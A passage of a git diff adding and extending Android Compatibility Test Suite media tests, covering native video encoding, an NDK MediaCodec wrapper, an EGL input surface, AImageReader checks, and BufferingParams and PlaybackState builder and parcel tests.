+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.cts.R;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+import android.view.Surface;
+import android.webkit.cts.CtsTestServer;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.UUID;
+
+public class NativeEncoderTest extends MediaPlayerTestBase {
+    private static final String TAG = "NativeEncoderTest";
+    private static Resources mResources;
+
+    private static final String MIME_AVC = "video/avc";
+    private static final String MIME_HEVC = "video/hevc";
+    private static final String MIME_VP8 = "video/x-vnd.on2.vp8";
+
+    private static int mResourceVideo720p;
+    private static int mResourceVideo360p;
+
+    static {
+        System.loadLibrary("ctsmediacodec_jni");
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+
+        mResourceVideo720p =
+                R.raw.bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz;
+        mResourceVideo360p =
+                R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz;
+    }
+
+
+    private boolean testEncode(int res, String mime, int width, int height) {
+        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
+
+        return testEncodeSurfaceNative(
+            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
+            mime, width, height);
+    }
+    private static native boolean testEncodeSurfaceNative(int fd, long offset, long size,
+            String mime, int width, int height);
+
+    public void testEncodeSurfaceH264720p() throws Exception {
+        boolean status = testEncode(mResourceVideo720p, MIME_AVC, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeSurfaceVp8720p() throws Exception {
+        boolean status = testEncode(mResourceVideo720p, MIME_VP8, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeSurfaceHevc720p() throws Exception {
+        boolean status = testEncode(mResourceVideo720p, MIME_HEVC, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeSurfaceH264360p() throws Exception {
+        boolean status = testEncode(mResourceVideo360p, MIME_AVC, 640, 360);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeSurfaceVp8360p() throws Exception {
+        boolean status = testEncode(mResourceVideo360p, MIME_VP8, 640, 360);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeSurfaceHevc360p() throws Exception {
+        boolean status = testEncode(mResourceVideo360p, MIME_HEVC, 640, 360);
+        assertTrue("native encode error", status);
+    }
+
+
+    private boolean testEncodeDynamicSyncFrame(int res, String mime, int width, int height) {
+        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
+
+        return testEncodeSurfaceDynamicSyncFrameNative(
+            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
+            mime, width, height);
+    }
+    private static native boolean testEncodeSurfaceDynamicSyncFrameNative(int fd, long offset, long size,
+            String mime, int width, int height);
+
+    public void testEncodeDynamicSyncFrameH264720p() throws Exception {
+        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_AVC, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicSyncFrameVp8720p() throws Exception {
+        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_VP8, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicSyncFrameHevc720p() throws Exception {
+        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_HEVC, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicSyncFrameH264360p() throws Exception {
+        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_AVC, 640,  360);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicSyncFrameVp8360p() throws Exception {
+        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_VP8, 640, 360);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicSyncFrameHevc360p() throws Exception {
+        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_HEVC, 640, 360);
+        assertTrue("native encode error", status);
+    }
+
+
+    private boolean testEncodeDynamicBitrate(int res, String mime, int width, int height) {
+        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
+
+        return testEncodeSurfaceDynamicBitrateNative(
+            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
+            mime, width, height);
+    }
+    private static native boolean testEncodeSurfaceDynamicBitrateNative(int fd, long offset, long size,
+            String mime, int width, int height);
+
+    public void testEncodeDynamicBitrateH264720p() throws Exception {
+        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_AVC, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicBitrateVp8720p() throws Exception {
+        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_VP8, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicBitrateHevc720p() throws Exception {
+        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_HEVC, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicBitrateH264360p() throws Exception {
+        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_AVC, 640, 360);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicBitrateVp8360p() throws Exception {
+        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_VP8, 640, 360);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodeDynamicBitrateHevc360p() throws Exception {
+        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_HEVC, 640, 360);
+        assertTrue("native encode error", status);
+    }
+
+
+    private boolean testEncodePersistentSurface(int res, String mime, int width, int height) {
+        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
+
+        return testEncodePersistentSurfaceNative(
+            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
+            mime, width, height);
+    }
+
+    private static native boolean testEncodePersistentSurfaceNative(int fd, long offset, long size,
+            String mime, int width, int height);
+
+    public void testEncodePersistentSurface720p() throws Exception {
+        boolean status = testEncodePersistentSurface(mResourceVideo720p, MIME_AVC, 1280, 720);
+        assertTrue("native encode error", status);
+    }
+    public void testEncodePersistentSurface360p() throws Exception {
+        boolean status = testEncodePersistentSurface(mResourceVideo360p, MIME_VP8, 640, 360);
+        assertTrue("native encode error", status);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/NativeImageReaderTest.java b/tests/tests/media/src/android/media/cts/NativeImageReaderTest.java
new file mode 100644
index 0000000..1d57609
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NativeImageReaderTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.view.Surface;
+
+/**
+ * Verification test for AImageReader.
+ */
+public class NativeImageReaderTest extends AndroidTestCase {
+    private static final String TAG = "NativeImageReaderTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+    /** Load jni on initialization */
+    static {
+        Log.i("NativeImageReaderTest", "before loadlibrary");
+        System.loadLibrary("ctsimagereader_jni");
+        Log.i("NativeImageReaderTest", "after loadlibrary");
+    }
+
+    public void testSucceedsWithSupportedUsageFormat() {
+        assertTrue(
+                "Native test failed, see log for details",
+                testSucceedsWithSupportedUsageFormatNative());
+    }
+
+    public void testTakePictures() {
+        assertTrue("Native test failed, see log for details", testTakePicturesNative());
+    }
+
+    public void testCreateSurface() {
+        Surface surface = testCreateSurfaceNative();
+        assertNotNull("Surface created is null.", surface);
+        assertTrue("Surface created is invalid.", surface.isValid());
+    }
+
+    private static native boolean testSucceedsWithSupportedUsageFormatNative();
+    private static native boolean testTakePicturesNative();
+    private static native Surface testCreateSurfaceNative();
+}
diff --git a/tests/tests/media/src/android/media/cts/NdkInputSurface.java b/tests/tests/media/src/android/media/cts/NdkInputSurface.java
new file mode 100644
index 0000000..61278ab
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NdkInputSurface.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.util.Log;
+
+public class NdkInputSurface implements InputSurfaceInterface {
+
+    private static final String TAG = NdkInputSurface.class.getName();
+
+    private long mNativeWindow;
+    private long mEGLDisplay;
+    private long mEGLConfig;
+    private long mEGLContext;
+    private long mEGLSurface;
+    private int mWidth, mHeight;
+
+    static private native long eglGetDisplay();
+    static private native long eglChooseConfig(long eglDisplay);
+    static private native long eglCreateContext(long eglDisplay, long eglConfig);
+    static private native long createEGLSurface(long eglDisplay, long eglConfig, long nativeWindow);
+    static private native boolean eglMakeCurrent(long eglDisplay, long eglSurface, long eglContext);
+    static private native boolean eglSwapBuffers(long eglDisplay, long eglSurface);
+    static private native boolean eglPresentationTimeANDROID(long eglDisplay, long eglSurface, long nsecs);
+    static private native int eglGetWidth(long eglDisplay, long eglSurface);
+    static private native int eglGetHeight(long eglDisplay, long eglSurface);
+    static private native boolean eglDestroySurface(long eglDisplay, long eglSurface);
+    static private native void nativeRelease(long eglDisplay, long eglSurface, long eglContext, long nativeWindow);
+
+    public NdkInputSurface(long nativeWindow) {
+
+        mNativeWindow = nativeWindow;
+
+        mEGLDisplay = eglGetDisplay();
+        if (mEGLDisplay == 0) {
+            throw new RuntimeException("unable to get EGL14 display");
+        }
+
+        mEGLConfig = eglChooseConfig(mEGLDisplay);
+        if (mEGLConfig == 0) {
+            throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
+        }
+
+        mEGLContext = eglCreateContext(mEGLDisplay, mEGLConfig);
+        if (mEGLContext == 0) {
+            throw new RuntimeException("null context");
+        }
+
+        mEGLSurface = createEGLSurface(mEGLDisplay, mEGLConfig, mNativeWindow);
+        if (mEGLSurface == 0) {
+            throw new RuntimeException("surface was null");
+        }
+
+        mWidth = eglGetWidth(mEGLDisplay, mEGLSurface);
+        mHeight = eglGetHeight(mEGLDisplay, mEGLSurface);
+
+    }
+
+    @Override
+    public void makeCurrent() {
+        if (!eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLContext)) {
+            throw new RuntimeException("eglMakeCurrent failed");
+        }
+    }
+
+    @Override
+    public boolean swapBuffers() {
+        return eglSwapBuffers(mEGLDisplay, mEGLSurface);
+    }
+
+    @Override
+    public void setPresentationTime(long nsecs) {
+        eglPresentationTimeANDROID(mEGLDisplay, mEGLSurface, nsecs);
+    }
+
+    @Override
+    public void configure(MediaCodec codec) {
+        throw new UnsupportedOperationException(codec.toString());
+    }
+
+    @Override
+    public void configure(NdkMediaCodec codec) {
+        codec.setInputSurface(mNativeWindow);
+    }
+
+    @Override
+    public void updateSize(int width, int height) {
+        if (width != mWidth || height != mHeight) {
+            Log.d(TAG, "re-create EGLSurface");
+            releaseEGLSurface();
+            mEGLSurface = createEGLSurface(mEGLDisplay, mEGLConfig, mNativeWindow);
+            mWidth = eglGetWidth(mEGLDisplay, mEGLSurface);
+            mHeight = eglGetHeight(mEGLDisplay, mEGLSurface);
+        }
+    }
+
+    private void releaseEGLSurface() {
+        if (mEGLDisplay != 0) {
+            eglDestroySurface(mEGLDisplay, mEGLSurface);
+            mEGLSurface = 0;
+        }
+    }
+
+    @Override
+    public void release() {
+
+        nativeRelease(mEGLDisplay, mEGLSurface, mEGLContext, mNativeWindow);
+
+        mEGLDisplay = 0;
+        mEGLContext = 0;
+        mEGLSurface = 0;
+        mNativeWindow = 0;
+
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
new file mode 100644
index 0000000..2b9bf1e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.Callback;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.Surface;
+import java.nio.ByteBuffer;
+
+public class NdkMediaCodec implements MediaCodecWrapper {
+
+    private static final String CSD_0 = "csd-0";
+    private long mNdkMediaCodec;
+    private final String mName;
+
+    static {
+        Log.i("@@@", "before loadlibrary");
+        System.loadLibrary("ctsmediacodec_jni");
+        Log.i("@@@", "after loadlibrary");
+    }
+
+    private static native long AMediaCodecCreateCodecByName(String name);
+    private static native boolean AMediaCodecDelete(long ndkMediaCodec);
+    private static native boolean AMediaCodecStart(long ndkMediaCodec);
+    private static native boolean AMediaCodecStop(long ndkMediaCodec);
+    private static native String AMediaCodecGetOutputFormatString(long ndkMediaCodec);
+    private static native boolean AMediaCodecSetInputSurface(long ndkMediaCodec, Surface surface);
+    private static native boolean AMediaCodecSetNativeInputSurface(long ndkMediaCodec, long aNativeWindow);
+    private static native long AMediaCodecCreateInputSurface(long ndkMediaCodec);
+    private static native long AMediaCodecCreatePersistentInputSurface();
+    private static native boolean AMediaCodecSignalEndOfInputStream(long ndkMediaCodec);
+    private static native boolean AMediaCodecReleaseOutputBuffer(long ndkMediaCodec, int index, boolean render);
+    private static native ByteBuffer AMediaCodecGetOutputBuffer(long ndkMediaCodec, int index);
+    private static native long[] AMediaCodecDequeueOutputBuffer(long ndkMediaCodec, long timeoutUs);
+    private static native ByteBuffer AMediaCodecGetInputBuffer(long ndkMediaCodec, int index);
+    private static native int AMediaCodecDequeueInputBuffer(long ndkMediaCodec, long timeoutUs);
+    private static native boolean AMediaCodecSetParameter(long ndkMediaCodec, String key, int value);
+
+    private static native boolean AMediaCodecConfigure(
+            long ndkMediaCodec,
+            String mime,
+            int width,
+            int height,
+            int colorFormat,
+            int bitRate,
+            int frameRate,
+            int iFrameInterval,
+            ByteBuffer csd,
+            int flags);
+
+    private static native boolean AMediaCodecQueueInputBuffer(
+            long ndkMediaCodec,
+            int index,
+            int offset,
+            int size,
+            long presentationTimeUs,
+            int flags);
+
+    public NdkMediaCodec(String name) {
+        mName = name;
+        mNdkMediaCodec = AMediaCodecCreateCodecByName(name);
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        AMediaCodecDelete(mNdkMediaCodec);
+    }
+
+    @Override
+    public void release() {
+        AMediaCodecDelete(mNdkMediaCodec);
+        mNdkMediaCodec = 0;
+    }
+
+    @Override
+    public void start() {
+        AMediaCodecStart(mNdkMediaCodec);
+    }
+
+    @Override
+    public void stop() {
+        AMediaCodecStop(mNdkMediaCodec);
+    }
+
+    @Override
+    public void configure(MediaFormat format, int flags) {
+
+        int width = format.getInteger(MediaFormat.KEY_WIDTH, -1);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT, -1);
+        int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT, -1);
+        int bitRate = format.getInteger(MediaFormat.KEY_BIT_RATE, -1);
+        int frameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE, -1);
+        int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
+
+        ByteBuffer csdBufCopy = null;
+        if (format.containsKey(CSD_0)) {
+            ByteBuffer csdBufOld = format.getByteBuffer(CSD_0);
+            csdBufCopy = ByteBuffer.allocateDirect(csdBufOld.remaining());
+            csdBufCopy.put(csdBufOld);
+            csdBufCopy.position(0);
+        }
+
+        AMediaCodecConfigure(
+                mNdkMediaCodec,
+                format.getString(MediaFormat.KEY_MIME),
+                width,
+                height,
+                colorFormat,
+                bitRate,
+                frameRate,
+                iFrameInterval ,
+                csdBufCopy,
+                flags);
+    }
+
+    @Override
+    public void setInputSurface(InputSurfaceInterface surface) {
+        surface.configure(this);
+    }
+
+    public void setInputSurface(Surface surface) {
+        AMediaCodecSetInputSurface(mNdkMediaCodec, surface);
+    }
+
+    public void setInputSurface(long aNativeWindow) {
+        AMediaCodecSetNativeInputSurface(mNdkMediaCodec, aNativeWindow);
+    }
+
+    @Override
+    public InputSurfaceInterface createInputSurface() {
+        return new NdkInputSurface(AMediaCodecCreateInputSurface(mNdkMediaCodec));
+    }
+
+    public static InputSurfaceInterface createPersistentInputSurface() {
+        return new NdkInputSurface(AMediaCodecCreatePersistentInputSurface());
+    }
+
+    @Override
+    public int dequeueOutputBuffer(BufferInfo info, long timeoutUs) {
+        long[] ret = AMediaCodecDequeueOutputBuffer(mNdkMediaCodec, timeoutUs);
+        if (ret[0] >= 0) {
+            info.offset = (int)ret[1];
+            info.size = (int)ret[2];
+            info.presentationTimeUs = ret[3];
+            info.flags = (int)ret[4];
+        }
+        return (int)ret[0];
+    }
+
+    @Override
+    public ByteBuffer getOutputBuffer(int index) {
+        return AMediaCodecGetOutputBuffer(mNdkMediaCodec, index);
+    }
+
+    @Override
+    public void releaseOutputBuffer(int index, boolean render) {
+        AMediaCodecReleaseOutputBuffer(mNdkMediaCodec, index, render);
+    }
+
+    @Override
+    public void signalEndOfInputStream() {
+        AMediaCodecSignalEndOfInputStream(mNdkMediaCodec);
+    }
+
+    @Override
+    public String getOutputFormatString() {
+        return AMediaCodecGetOutputFormatString(mNdkMediaCodec);
+    }
+
+    @Override
+    public ByteBuffer[] getOutputBuffers() {
+        return null;
+    }
+
+    @Override
+    public ByteBuffer getInputBuffer(int index) {
+        return AMediaCodecGetInputBuffer(mNdkMediaCodec, index);
+    }
+
+    @Override
+    public ByteBuffer[] getInputBuffers() {
+        return null;
+    }
+
+    @Override
+    public void queueInputBuffer(
+            int index,
+            int offset,
+            int size,
+            long presentationTimeUs,
+            int flags) {
+
+        AMediaCodecQueueInputBuffer(mNdkMediaCodec, index, offset, size, presentationTimeUs, flags);
+
+    }
+
+    @Override
+    public int dequeueInputBuffer(long timeoutUs) {
+        return AMediaCodecDequeueInputBuffer(mNdkMediaCodec, timeoutUs);
+    }
+
+    @Override
+    public void setParameters(Bundle params) {
+
+        String keys[] = new String[] {
+                MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME,
+                MediaCodec.PARAMETER_KEY_VIDEO_BITRATE};
+
+        for (String key : keys) {
+            if (params.containsKey(key)) {
+                int value = params.getInt(key);
+                AMediaCodecSetParameter(mNdkMediaCodec, key, value);
+            }
+        }
+
+    }
+
+    @Override
+    public void setCallback(Callback mCallback) {
+        throw new UnsupportedOperationException(mCallback.toString());
+    }
+
+    @Override
+    public String toString() {
+        return String.format("%s(%s, %x)", getClass(), mName, mNdkMediaCodec);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/ParamsTest.java b/tests/tests/media/src/android/media/cts/ParamsTest.java
index 113be32..6cf9be6 100644
--- a/tests/tests/media/src/android/media/cts/ParamsTest.java
+++ b/tests/tests/media/src/android/media/cts/ParamsTest.java
@@ -18,6 +18,7 @@
 
 import android.media.cts.R;
 
+import android.media.BufferingParams;
 import android.media.PlaybackParams;
 import android.media.SyncParams;
 import android.os.Parcel;
@@ -371,4 +372,110 @@
         parcel.recycle();
     }
 
+    public void testBufferingParamsBuilderAndGet() {
+        final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
+        final int initialMarkMs = 2;
+        final int initialMarkKB = 20;
+        final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
+        final int rebufferingMarkLowMs = 1;
+        final int rebufferingMarkHighMs = 3;
+        final int rebufferingMarkLowKB = 10;
+        final int rebufferingMarkHighKB = 30;
+
+        BufferingParams p1 = new BufferingParams.Builder()
+                .setInitialBufferingMode(initialMode)
+                .setInitialBufferingWatermarkMs(initialMarkMs)
+                .setInitialBufferingWatermarkKB(initialMarkKB)
+                .setRebufferingMode(rebufferingMode)
+                .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
+                .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
+                .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
+                .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+                .build();
+
+        assertEquals("initial buffering mode should match",
+                p1.getInitialBufferingMode(), initialMode);
+        assertEquals("rebuffering mode should match",
+                p1.getRebufferingMode(), rebufferingMode);
+        assertEquals("intial markMs should match",
+                p1.getInitialBufferingWatermarkMs(), initialMarkMs);
+        assertEquals("intial markKB should match",
+                p1.getInitialBufferingWatermarkKB(), initialMarkKB);
+        assertEquals("rebuffering low markMs should match",
+                p1.getRebufferingWatermarkLowMs(), rebufferingMarkLowMs);
+        assertEquals("rebuffering low markKB should match",
+                p1.getRebufferingWatermarkLowKB(), rebufferingMarkLowKB);
+        assertEquals("rebuffering high markMs should match",
+                p1.getRebufferingWatermarkHighMs(), rebufferingMarkHighMs);
+        assertEquals("rebuffering high markKB should match",
+                p1.getRebufferingWatermarkHighKB(), rebufferingMarkHighKB);
+
+        final int rebufferingMarkLowMsPair = 4;
+        final int rebufferingMarkHighMsPair = 5;
+        final int rebufferingMarkLowKBPair = 40;
+        final int rebufferingMarkHighKBPair = 50;
+        BufferingParams p2 = new BufferingParams.Builder(p1)
+                .setRebufferingWatermarksMs(rebufferingMarkLowMsPair, rebufferingMarkHighMsPair)
+                .setRebufferingWatermarksKB(rebufferingMarkLowKBPair, rebufferingMarkHighKBPair)
+                .build();
+        assertEquals("paired low markMs should match",
+                p2.getRebufferingWatermarkLowMs(), rebufferingMarkLowMsPair);
+        assertEquals("paired low markKB should match",
+                p2.getRebufferingWatermarkLowKB(), rebufferingMarkLowKBPair);
+        assertEquals("paired high markMs should match",
+                p2.getRebufferingWatermarkHighMs(), rebufferingMarkHighMsPair);
+        assertEquals("paired high markKB should match",
+                p2.getRebufferingWatermarkHighKB(), rebufferingMarkHighKBPair);
+    }
+
+    public void testBufferingParamsDescribeContents() {
+        BufferingParams p = new BufferingParams.Builder().build();
+        assertEquals("no file descriptors in Parcel", 0, p.describeContents());
+    }
+
+    public void testBufferingParamsWriteToParcel() {
+        final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
+        final int initialMarkMs = 2;
+        final int initialMarkKB = 20;
+        final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
+        final int rebufferingMarkLowMs = 1;
+        final int rebufferingMarkHighMs = 3;
+        final int rebufferingMarkLowKB = 10;
+        final int rebufferingMarkHighKB = 30;
+
+        BufferingParams p = new BufferingParams.Builder()
+                .setInitialBufferingMode(initialMode)
+                .setInitialBufferingWatermarkMs(initialMarkMs)
+                .setInitialBufferingWatermarkKB(initialMarkKB)
+                .setRebufferingMode(rebufferingMode)
+                .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
+                .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
+                .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
+                .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        p.writeToParcel(parcel, 0 /* flags */);
+        parcel.setDataPosition(0);
+        BufferingParams q = BufferingParams.CREATOR.createFromParcel(parcel);
+
+        assertEquals("initial buffering mode should match",
+                p.getInitialBufferingMode(), q.getInitialBufferingMode());
+        assertEquals("rebuffering mode should match",
+                p.getRebufferingMode(), q.getRebufferingMode());
+        assertEquals("initial buffering markMs should match",
+                p.getInitialBufferingWatermarkMs(), q.getInitialBufferingWatermarkMs());
+        assertEquals("initial buffering markKB should match",
+                p.getInitialBufferingWatermarkKB(), q.getInitialBufferingWatermarkKB());
+        assertEquals("rebuffering low markMs should match",
+                p.getRebufferingWatermarkLowMs(), q.getRebufferingWatermarkLowMs());
+        assertEquals("rebuffering low markKB should match",
+                p.getRebufferingWatermarkLowKB(), q.getRebufferingWatermarkLowKB());
+        assertEquals("rebuffering high markMs should match",
+                p.getRebufferingWatermarkHighMs(), q.getRebufferingWatermarkHighMs());
+        assertEquals("rebuffering high markKB should match",
+                p.getRebufferingWatermarkHighKB(), q.getRebufferingWatermarkHighKB());
+
+        parcel.recycle();
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
new file mode 100644
index 0000000..ba96784
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
@@ -0,0 +1,263 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.session.MediaSession;
+import android.media.session.PlaybackState;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayList;
+
+/**
+ * Test {@link android.media.session.PlaybackState}.
+ */
+public class PlaybackStateTest extends AndroidTestCase {
+
+    private static final long TEST_POSITION = 20000L;
+    private static final long TEST_BUFFERED_POSITION = 15000L;
+    private static final long TEST_UPDATE_TIME = 100000L;
+    private static final long TEST_ACTIONS =
+            PlaybackState.ACTION_PLAY | PlaybackState.ACTION_STOP | PlaybackState.ACTION_SEEK_TO;
+    private static final long TEST_QUEUE_ITEM_ID = 23L;
+    private static final float TEST_PLAYBACK_SPEED = 3.0f;
+    private static final float TEST_PLAYBACK_SPEED_ON_REWIND = -2.0f;
+    private static final float DELTA = 1e-7f;
+
+    private static final String TEST_ERROR_MSG = "test-error-msg";
+    private static final String TEST_CUSTOM_ACTION = "test-custom-action";
+    private static final String TEST_CUSTOM_ACTION_NAME = "test-custom-action-name";
+    private static final int TEST_ICON_RESOURCE_ID = android.R.drawable.ic_media_next;
+
+    private static final String EXTRAS_KEY = "test-key";
+    private static final String EXTRAS_VALUE = "test-value";
+
+    /**
+     * Test default values of {@link PlaybackState}.
+     */
+    public void testBuilder() {
+        PlaybackState state = new PlaybackState.Builder().build();
+
+        assertEquals(new ArrayList<PlaybackState.CustomAction>(), state.getCustomActions());
+        assertEquals(0, state.getState());
+        assertEquals(0L, state.getPosition());
+        assertEquals(0L, state.getBufferedPosition());
+        assertEquals(0.0f, state.getPlaybackSpeed(), DELTA);
+        assertEquals(0L, state.getActions());
+        assertNull(state.getErrorMessage());
+        assertEquals(0L, state.getLastPositionUpdateTime());
+        assertEquals(MediaSession.QueueItem.UNKNOWN_ID, state.getActiveQueueItemId());
+        assertNull(state.getExtras());
+    }
+
+    /**
+     * Test following setter methods of {@link PlaybackState.Builder}:
+     * {@link PlaybackState.Builder#setState(int, long, float)}
+     * {@link PlaybackState.Builder#setActions(long)}
+     * {@link PlaybackState.Builder#setActiveQueueItemId(long)}
+     * {@link PlaybackState.Builder#setBufferedPosition(long)}
+     * {@link PlaybackState.Builder#setErrorMessage(CharSequence)}
+     * {@link PlaybackState.Builder#setExtras(Bundle)}
+     */
+    public void testBuilder_setterMethods() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        PlaybackState state = new PlaybackState.Builder()
+                .setState(PlaybackState.STATE_PLAYING, TEST_POSITION, TEST_PLAYBACK_SPEED)
+                .setActions(TEST_ACTIONS)
+                .setActiveQueueItemId(TEST_QUEUE_ITEM_ID)
+                .setBufferedPosition(TEST_BUFFERED_POSITION)
+                .setErrorMessage(TEST_ERROR_MSG)
+                .setExtras(extras)
+                .build();
+        assertEquals(PlaybackState.STATE_PLAYING, state.getState());
+        assertEquals(TEST_POSITION, state.getPosition());
+        assertEquals(TEST_PLAYBACK_SPEED, state.getPlaybackSpeed(), DELTA);
+        assertEquals(TEST_ACTIONS, state.getActions());
